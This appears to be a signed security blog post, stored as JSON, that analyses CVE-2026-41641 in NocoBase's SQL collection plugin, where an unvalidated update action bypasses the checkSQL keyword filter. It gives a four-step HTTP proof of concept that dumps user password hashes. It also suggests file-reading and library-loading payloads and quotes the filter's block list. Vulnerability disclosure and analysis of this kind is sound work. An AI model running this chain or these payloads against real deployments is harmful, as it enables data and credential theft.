-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The plugin has three actions. checkSQL guards two of them.\n\nNocoBase is an AI-powered no-code/low-code platform. The SQL collection plugin lets users with collection-management permissions register named \"collections\" whose contents are defined by an arbitrary SQL query. The query runs every time the collection is read. The plugin exposes three actions to the HTTP surface that accept caller-supplied SQL:\n\n1. `collections:create`, used by the \"create a new SQL collection\" form. SQL is provided in the request body.\n2. `sqlCollection:execute`, used by the \"preview the result\" button. The SQL is executed immediately and the first five rows are returned to the caller.\n3. `sqlCollection:update`, used by the \"edit this collection\" form. The SQL on an existing collection is replaced with a new value.\n\n`checkSQL` is the validation function. It lives in `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts`. It does two things:\n\n```typescript\nexport const checkSQL = (sql: string) => {\n const dangerKeywords = [\n // PostgreSQL\n 'pg_read_file', 'pg_read_binary_file', 'pg_stat_file', 'pg_ls_dir',\n 'pg_logdir_ls', 'pg_terminate_backend', 'pg_cancel_backend',\n 'current_setting', 'set_config', 'pg_reload_conf', 'pg_sleep',\n 'generate_series',\n // MySQL\n 'LOAD_FILE', 'BENCHMARK', '@@global.', '@@session.',\n // SQLite\n 'sqlite3_load_extension', 'load_extension',\n ];\n sql = sql.trim().split(';').shift();\n if (!/^select/i.test(sql) && !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n throw new Error('Only supports SELECT statements or WITH clauses');\n }\n if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {\n throw new Error('SQL statements contain dangerous keywords');\n }\n};\n```\n\nThe function refuses anything that is not `SELECT` or `WITH ... SELECT`, and it blocks eighteen specific keywords across PostgreSQL, MySQL, and SQLite. The PostgreSQL list includes `pg_read_file` and `pg_sleep`. The MySQL list includes `LOAD_FILE` and `BENCHMARK`. The SQLite list includes `load_extension`. These are the primitives that turn a SELECT into filesystem access, side-channel timing, and library injection. The list is the threat model the maintainers wrote down.\n\nIn PR #5913 on December 19, 2024, the maintainer `2013xile` introduced `utils.ts` containing `checkSQL`, then wired the function into two of the three callers in the same diff:\n\n- `collections:create` got guarded by a middleware registered in `plugin.ts`. Every `collections.create` request flowed through the middleware; the middleware called `checkSQL` on the `sql` parameter before reaching the action handler.\n- `sqlCollection:execute` got guarded inline in the action handler in `sql.ts`. The handler imported `checkSQL` at the top of the file and called it as the first thing inside the `execute` function body.\n\nThe `sqlCollection:update` action in `sql.ts` was modified by nobody in PR #5913. The handler sat in the same file as `execute`. The import was already at the top. The function was already available in the lexical scope.\n\n```typescript\n// packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts\n// pre-patch (v2.0.38)\nimport { Context, Next } from '@nocobase/actions';\nimport { SQLCollection, SQLModel } from '../sql-collection';\nimport { checkSQL } from '../utils';\n\n// ... updateCollection helper ...\n\nexport default {\n execute: async (ctx: Context, next: Next) => {\n const { sql } = ctx.action.params.values || {};\n try {\n checkSQL(sql); // the gate\n } catch (e) {\n ctx.throw(400, ctx.t(e.message));\n }\n // ... build a temporary SQLCollection, query 5 rows, return\n },\n\n setFields: async (ctx: Context, next: Next) => {\n // ... transaction, no checkSQL\n },\n\n update: async (ctx: Context, next: Next) => {\n // ... ctx.action.params.values destructured into { sql, ... }\n // ... NO checkSQL call\n // ... updateCollection(ctx, transaction)\n // ... resetFields, commit, return\n },\n};\n```\n\nThe `update` handler accepts the same `sql` parameter, on the same request shape, from the same caller class as `execute`. It does not call `checkSQL`. It calls `updateCollection`, which writes the SQL into the collection's `options.sql` field and persists the row.\n\n## The persister is the executor, deferred.\n\nThe mental model that produces this gap is \"execute is dangerous, update is CRUD.\" `execute` runs SQL now and returns rows now; `update` mutates a row in the collections registry. One looks like a database operation. The other looks like a state change.\n\nThe SQL collection plugin is built so that `sqlCollection:update`'s output is a database operation. The collection's stored SQL is the query that runs every time anyone calls `:list` on the collection's resource name. Persisting the SQL is executing it, on a delay set by the next read.\n\nThe PoC walks the chain. Step one signs in as any user with collection-management permissions.\n\n```http\nPOST /api/auth:signIn HTTP/1.1\nHost: target\nContent-Type: application/json\n\n{\"account\":\"\",\"password\":\"\"}\n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json\n\n{\"token\":\"\"}\n```\n\nStep two creates a SQL collection with benign SQL. The middleware on `collections.create` calls `checkSQL` against `\"SELECT 1 as id\"`. The string starts with `SELECT`, contains no dangerous keywords, and passes.\n\n```http\nPOST /api/collections:create HTTP/1.1\nHost: target\nAuthorization: Bearer \nContent-Type: application/json\n\n{\"name\":\"x\",\"sql\":\"SELECT 1 as id\",\"fields\":[{\"name\":\"id\",\"type\":\"integer\"}],\"template\":\"sql\"}\n```\n\nStep three updates the collection via `sqlCollection:update`. The action handler reads `sql` from `ctx.action.params.values`, hands it to `updateCollection`, and persists the row. No `checkSQL` runs at any point in this request's life cycle.\n\n```http\nPOST /api/sqlCollection:update?filterByTk=x HTTP/1.1\nHost: target\nAuthorization: Bearer \nContent-Type: application/json\n\n{\"sql\":\"SELECT * FROM users\",\n \"fields\":[{\"name\":\"id\",\"type\":\"integer\"},\n {\"name\":\"email\",\"type\":\"string\"},\n {\"name\":\"password\",\"type\":\"string\"}]}\n```\n\nStep four reads the collection. NocoBase looks up the resource named `x`, finds a SQL collection, executes the stored SQL against the host database, and returns the rows.\n\n```http\nGET /api/x:list HTTP/1.1\nHost: target\nAuthorization: Bearer \n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json\n\n{\"data\":[{\"id\":1,\"email\":\"...\",\"password\":\"$2b$10$...\"}, ...]}\n```\n\nThe PoC's update payload is `SELECT * FROM users`. That SQL would have passed `checkSQL` had the function been called: it starts with `SELECT`, it contains no entry from the eighteen-keyword list. The point of the PoC is not that the SELECT is dangerous. The point is that no call to `checkSQL` ran on the way in. Replace the payload with `SELECT pg_read_file('/etc/passwd', 0, 100000, false)` against a Postgres-backed deployment, or `SELECT LOAD_FILE('/etc/shadow')` against MySQL, or `SELECT load_extension('/tmp/x.so')` against SQLite, and the same chain exfiltrates files, blocks worker threads with `pg_sleep`, or loads a shared object the database process did not intend to load. The `dangerKeywords` list names exactly those primitives. `sqlCollection:update` is the action the same list never gets shown to.\n\nThe chain requires authentication and \"collection management\" permissions. NocoBase is a no-code platform whose value proposition is that non-developer team members can build their own internal apps. Collection management is exactly the permission a small organization delegates to its business analysts, its operations team, its first non-engineering hire who is fluent in spreadsheets. CVSS `PR:H` reads \"high privileges required\" because the bug is post-authentication. In a deployed NocoBase it reads \"anyone the platform exists to empower.\"\n\n## Parallel implementation gap.\n\nThis is a [parallel implementation gap](/patterns/parallel-implementation-gap), the same shape that has appeared in [Astro's two `/_image` endpoints](/posts/astro-shipped-two-image-endpoints), [MLflow's basic-auth and FastAPI router tables](/posts/mlflow-basic-auth-only-gated-flask), [mcp-atlassian's download and upload sites](/posts/mcp-atlassian-the-patch-guarded-the-writes), [Axios's buffered and streaming branches](/posts/axios-maxcontentlength-was-inside-the-buffer-loop), and [JeecgBoot's `login` and `mLogin` sibling methods](/posts/jeecgboot-mlogin-validatecaptcha-sibling-method). Each exhibit is a security check that lives in a shared utility, gets wired to one caller, and never reaches a parallel caller that exposes the same client-facing contract.\n\nThe exhibits vary in the distance between callers. Astro's two `/_image` endpoints sit in different packages. MLflow's gate fails to copy across two runtimes that mount in the same factory. Axios's `maxContentLength` rides inside the buffered branch of a `if (stream) ... else ...` fork in one function. JeecgBoot's `mLogin` is a sibling method on the same Java controller class.\n\nNocoBase's variant is the smallest distance any exhibit in this pattern has shown. `execute` and `update` are exported keys of the same object literal in the same file. The file imports `checkSQL` once at the top. The `execute` handler's first statement is `checkSQL(sql)`. The `update` handler, the next exported key in the same object literal, accepts the same `sql` parameter and validated nothing. `checkSQL` is in scope for the entire file. The author of PR #5913 typed `import { checkSQL } from '../utils'` and called it inside the function defined immediately below. The function defined immediately below that one did not get the call.\n\nThe April 17, 2026 fix is six lines.\n\n```diff\n update: async (ctx: Context, next: Next) => {\n const { sql } = ctx.action.params.values || {};\n+ if (sql) {\n+ try {\n+ checkSQL(sql);\n+ } catch (e) {\n+ ctx.throw(400, ctx.t(e.message));\n+ }\n+ }\n // ... updateCollection, transaction, return\n },\n```\n\nThe same six lines live in `execute` directly above. The commit message reads `fix(collection-sql): validate sql on update`. The commit hash is `851aee5`. The author is `2013xile`. PR #5913 from December 19, 2024 also lists `2013xile` as author. Both commits are signed by the same GitHub identity.\n\n## The charge.\n\nNocoBase Co., Ltd. ships a no-code platform whose SQL collection plugin gives ordinary platform users the ability to register stored SELECT queries against the host database. The plugin's maintainers wrote a security control with an explicit threat model on December 19, 2024: a function named `checkSQL`, an enumerated list of eighteen dangerous primitives across three database engines, a commit message reading `fix(sql-collection): block dangerous keywords`. They wired the control into two of the three actions in the plugin that accept user-supplied SQL. The third action persists the SQL into the collections registry, where every subsequent `:list` against the collection's resource name executes it.\n\nThe threat model existed in the codebase for sixteen months. The action it never reached existed in the same file for sixteen months. The same `import` line carried the same function into the same file's lexical scope for sixteen months. The April 17, 2026 patch is what the December 19, 2024 patch should have been on day one.\n\nPoC: [projectdiscovery/nuclei-templates CVE-2026-41641.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-41641.yaml)","closing_line":"The maintainer who closed the gate on `execute` did so on December 19, 2024. The maintainer who closed the gate on `update` did so on April 17, 2026. They are the same person.","hook_md":"CVE-2026-41641 was published by GitHub on April 18, 2026. NocoBase shipped 2.0.39 the same week. The patch is eight lines added to `packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts`. The lines wrap one function call, `checkSQL(sql)`, in a try/catch and place it inside the `update` action handler. The same file already imports `checkSQL` at the top. The same file already calls it from the `execute` action eight lines above. The author of the April 17 patch is also the author of the December 19, 2024 commit that introduced `checkSQL`, applied it to `execute`, and shipped without applying it to `update`. Sixteen months and one CVE separate those two commits.","post_id":309,"slug":"nocobase-cve-2026-41641-checksql-two-of-three-actions","title":"CVE-2026-41641: NocoBase's checkSQL Gated Two of Three SQL Actions. The Third One Persists.","type":"initial","unreadable_sentence":"The maintainer who closed the gate on execute did so on December 19, 2024. The maintainer who closed the gate on update did so on April 17, 2026. They are the same person."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCahH5TQAKCRDeZjl4jgkQ JiIeAQDlZwnHMrg4LnfsxdtIS3kHBTlXZ01Ff7huHfaY/38SUQD+N9WqkJ20tc/O d/hOp4ehg5najOi7Ac3FXJeO3FIbOwA= =pQK9 -----END PGP SIGNATURE-----